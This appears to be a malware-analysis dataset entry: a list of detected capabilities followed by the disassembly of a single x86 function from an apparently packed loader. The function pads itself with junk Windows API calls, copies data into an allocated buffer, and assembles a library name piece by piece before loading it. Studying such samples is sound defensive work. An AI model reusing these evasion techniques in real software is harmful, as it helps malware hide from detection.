Function at 0x41bdc0
Capabilities:
Get common file path
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x41de11
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x29f0
call fcn.004174a0
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x20], ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
mov dword [esp + 0x1c], eax
lea ebx, [ebx]
cmp eax, 0x2c787
jge 0x41be24
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x1c]
cmp dword [0xc0c2bc], 0x6fb
jne 0x41be7a
push 0x30
lea eax, [esp + 0x1c0]
push ebx
push eax
mov dword [esp + 0x1c4], ebx
call fcn.0040a920
add esp, 0xc
push ebx
lea ecx, [esp + 0x1bc]
push ecx
push 0x404264
call esi
push ebx
lea edx, [esp + 0xa04]
push edx
push 0x404318
call edi
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
push ecx
call ebp
mov eax, dword [esp + 0x1c]
cmp eax, 0x1e7d3ede
jle 0x41be98
cmp dword [esp + 0x20], 0xc0f3f2
je 0x41be98
cmp dword [esp + 0x1c4], 0x9374828
jne 0x41beaa
inc eax
mov dword [esp + 0x1c], eax
cmp eax, 0x7d9ed
jl 0x41be10
jmp 0x41bedc
cmp dword [0xc0c2bc], 0x28
jne 0x41bedc
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0xa04]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x200]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0xc0c2bc], 0xcf8
jne 0x41c3ff
push 0x40430c
push ebx
call fcn.0040a862
push ebx
call fcn.0040a6d3
add esp, 0xc
push ebx
push ebx
call fcn.0040a06b
add esp, 8
lea edx, [esp + 0x40]
push edx
call fcn.00406820
mov dword [esp + 0x40], 0x404614
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
mov eax, 1
mov dword [esp + 0x2a3c], eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x98], 0x404658
mov dword [esp + 0xa8], 0x404660
mov byte [esp + 0x2a3c], 3
mov ebp, 6
push 4
mov dword [esp + 0x28], eax
mov dword [esp + 0xfc], 0x4045fc
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x104], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x110], 0x201
mov dword [esp + 0x114], ebp
mov dword [esp + 0x118], ebx
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x108], ebx
call fcn.0040aa56
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x41c00f
call fcn.004091af
mov dword [esi], eax
call fcn.00408f6e
push ebx
lea ecx, [esp + 0x20]
mov edi, eax
call fcn.00409375
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x41c004
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x1c]
call fcn.0040939d
jmp 0x41c011
xor esi, esi
lea eax, [esp + 0xb0]
mov dword [esp + 0x130], eax
lea edi, [esp + 0x28]
lea eax, [esp + 0xf8]
mov dword [esp + 0x128], esi
mov dword [esp + 0x134], ebx
call fcn.00405790
mov edi, eax
mov dword [esp + 0x2a3c], ebp
call fcn.004086a0
mov byte [esp + 0x2a3c], 5
mov edi, dword [esp + 0x28]
mov ebp, eax
cmp edi, ebx
je 0x41c099
push ebx
lea ecx, [esp + 0x24]
call fcn.00409375
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41c077
cmp eax, 0xffffffff
jae 0x41c077
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x20]
and esi, edi
call fcn.0040939d
cmp esi, ebx
je 0x41c099
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x138], al
cmp dword [esp + 0x130], ebx
jne 0x41c0df
mov eax, dword [esp + 0x104]
or eax, 4
and eax, 0x17
mov dword [esp + 0x104], eax
test dword [esp + 0x108], eax
je 0x41c0df
push ebx
lea ecx, [esp + 0xfc]
call fcn.004056b0
mov ecx, dword [esp + 0xa8]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0xa8], 0x404604
mov eax, dword [esp + 0x98]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x98], 0x40460c
mov dword [esp + 0x2a3c], 9
mov edx, dword [esp + 0x98]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb0]
mov esi, 0x404654
push ecx
mov dword [esp + eax + 0x9c], esi
call fcn.00406820
mov edi, 0x404614
mov dword [esp + 0xb0], edi
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
push 0x40435c
lea edx, [esp + 0xac]
push edx
mov byte [esp + 0x2a44], 0xb
call fcn.00405990
push 0x404360
lea eax, [esp + 0xac]
push eax
call fcn.00405990
push ebx
call fcn.0040aa47
add esp, 4
push ebx
call fcn.0040a826
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.0040a840
fstp st(0)
push ebx
push ebx
call fcn.0040a167
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a5db
add esp, 0x2c
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a529
mov edx, dword [esp + 0xb0]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x110]
add esp, 0x18
mov dword [esp + 0x28], ecx
mov dword [esp + eax + 0x98], esi
test byte [esp + 0xf0], 1
lea ecx, [esp + 0xb0]
mov dword [esp + 0x24], ecx
mov dword [esp + 0xb0], edi
je 0x41c20b
mov edx, dword [esp + 0xc0]
mov eax, dword [edx]
push eax
call fcn.0040a9a5
add esp, 4
mov eax, dword [esp + 0xc0]
mov dword [eax], ebx
mov ecx, dword [esp + 0xd0]
mov dword [ecx], ebx
mov edx, dword [esp + 0xe0]
mov dword [edx], ebx
mov eax, dword [esp + 0xc4]
mov dword [eax], ebx
mov ecx, dword [esp + 0xd4]
mov dword [ecx], ebx
mov edx, dword [esp + 0xe4]
mov dword [edx], ebx
and dword [esp + 0xf0], 0xfffffffe
mov dword [esp + 0xec], ebx
mov dword [esp + 0xb0], 0x4045bc
mov byte [esp + 0x2a3c], 0xd
mov eax, dword [esp + 0xe8]
mov ebp, eax
cmp eax, ebx
je 0x41c2c0
mov edi, dword [eax]
cmp edi, ebx
je 0x41c2b2
push ebx
lea ecx, [esp + 0x24]
call fcn.00409375
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41c290
cmp eax, 0xffffffff
jae 0x41c290
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x20]
and esi, edi
call fcn.0040939d
cmp esi, ebx
je 0x41c2b2
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040a9a5
add esp, 4
mov edi, 0x404614
lea ecx, [esp + 0xb4]
mov byte [esp + 0x2a3c], 0xc
call fcn.004093ce
mov byte [esp + 0x2a3c], 2
mov eax, dword [esp + 0x98]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x98], 0x40460c
mov edx, dword [esp + 0xa8]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0xa8], 0x404604
mov ecx, dword [esp + 0x98]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xf8]
mov dword [esp + edx + 0x98], 0x4045fc
push eax
mov dword [esp + 0xfc], 0x4045b0
call fcn.00408ea4
add esp, 4
test byte [esp + 0x80], 1
mov dword [esp + 0x40], edi
je 0x41c353
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx]
push eax
call fcn.0040a9a5
add esp, 4
mov edx, dword [esp + 0x50]
mov dword [edx], ebx
mov eax, dword [esp + 0x60]
mov dword [eax], ebx
mov ecx, dword [esp + 0x70]
mov dword [ecx], ebx
mov edx, dword [esp + 0x54]
mov dword [edx], ebx
mov eax, dword [esp + 0x64]
mov dword [eax], ebx
mov ecx, dword [esp + 0x74]
mov dword [ecx], ebx
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x40], 0x4045bc
mov dword [esp + 0x2a3c], 0xe
mov eax, dword [esp + 0x78]
mov ebp, eax
cmp eax, ebx
je 0x41c3eb
mov edi, dword [eax]
cmp edi, ebx
je 0x41c3e2
push ebx
lea ecx, [esp + 0x24]
call fcn.00409375
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41c3c0
cmp eax, 0xffffffff
jae 0x41c3c0
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x20]
and esi, edi
call fcn.0040939d
cmp esi, ebx
je 0x41c3e2
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040a9a5
add esp, 4
lea ecx, [esp + 0x44]
mov dword [esp + 0x2a3c], 0xffffffff
call fcn.004093ce
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x408
jne 0x41c423
mov eax, 0x5d1
add dword [0xc0c2bc], eax
cmp dword [0xc0c2bc], 0xca3
jne 0x41c443
push ebx
lea ecx, [esp + 0x204]
push ecx
push ebx
call edi
push 0x404378
push ebx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41c410
mov edx, dword [0xc0c2bc]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xc0c224], eax
mov eax, dword [0xc0c2bc]
xor esi, esi
cmp eax, ebx
jbe 0x41c577
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ebx, [ebx]
cmp eax, 0xfe
jne 0x41c4da
push ebx
lea eax, [esp + 0x604]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x200]
push ecx
push 0x4043c0
call ebp
xor eax, eax
lea edx, [esp + 0x2c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
push edx
lea eax, [esp + 0x1bc]
push eax
push 0x404400
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0xc0c2bc]
cmp eax, 0x37
jne 0x41c52d
push ebx
lea ecx, [esp + 0x604]
push ecx
push ebx
push 0x40421c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x40423c
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
lea edx, [esp + 0x98]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x4042a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov eax, dword [0xc0d2b0]
mov dword [esp + 0x1c], eax
mov eax, 0x5d1
add dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [0xc0c224]
mov dl, byte [ecx + esi]
mov byte [eax + esi], dl
mov eax, dword [0xc0c2bc]
cmp eax, 0x29
jne 0x41c56e
push ebx
lea ecx, [esp + 0xa04]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xc0c2bc]
inc esi
cmp esi, eax
jb 0x41c480
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [esp + 0x24], 0x9682ab
cmp eax, 3
jne 0x41c5a2
push ebx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, dword [0xc0c2bc]
cmp eax, 0xdf
jne 0x41c5f2
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push ebx
call edi
xor edx, edx
push ebx
mov eax, edx
push eax
push eax
push ebx
push ebx
mov dword [esp + 0x30], edx
call ebp
lea ecx, [esp + 0x2c]
push ecx
xor eax, eax
lea edx, [esp + 0x1bc]
push edx
push ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0xc0c2bc]
dec dword [esp + 0x24]
jne 0x41c591
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
jmp 0x41c610
mov dword [0xc0c22c], edi
cmp eax, 0x222
jne 0x41c632
push ebx
push ebx
push ebx
push 0x404420
push 0x404448
push ebx
call esi
mov eax, dword [0xc0c2bc]
dec ebp
jne 0x41c610
mov byte [0x4b7c70], bl
call fcn.0041b750
call fcn.0041bb50
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
cmp dword [0xc0c2bc], 0xba
jne 0x41c676
lea eax, [esp + 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFix]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x41c68f
mov eax, 0
add dword [0xc0c224], eax
inc esi
cmp esi, 0x1605a
jl 0x41c653
mov ecx, 0x73
mov edx, 0x6d
mov word [0xc0c2c2], cx
mov word [0xc0c2c6], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0xc0c2ca], ax
mov word [0xc0c2d6], dx
mov word [0xc0c2c8], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0xc0c2c0
mov dword [0xc0c2d0], 0x6c0064
mov word [0xc0c2c4], dx
mov word [0xc0c2c0], ax
mov word [0xc0c2d4], cx
mov dword [0xc0c2cc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xc0c2bc], 0xc30
jne 0x41c7ff
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
lea ecx, [esp + 0x20]
push ecx
push 0x404468
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea edx, [esp + 0x200]
push edx
push 0x404364
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4044c0
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
lea eax, [esp + 0x2c]
push eax
push ebx
lea ecx, [esp + 0x60c]
push ecx
push ebx
call edi
push ebx
lea edx, [esp + 0x1a04]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0xa4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea ecx, [esp + 0x1b8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call esi
push ebx
lea edx, [esp + 0xa04]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
lea eax, [esp + 0x1204]
push eax
push 0x4044f8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
lea ecx, [esp + 0x98]
push ecx
push ebx
push ebx
push ebx
call edi
push 0x40453c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
lea edx, [esp + 0x2200]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [esp + 0x2a34]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret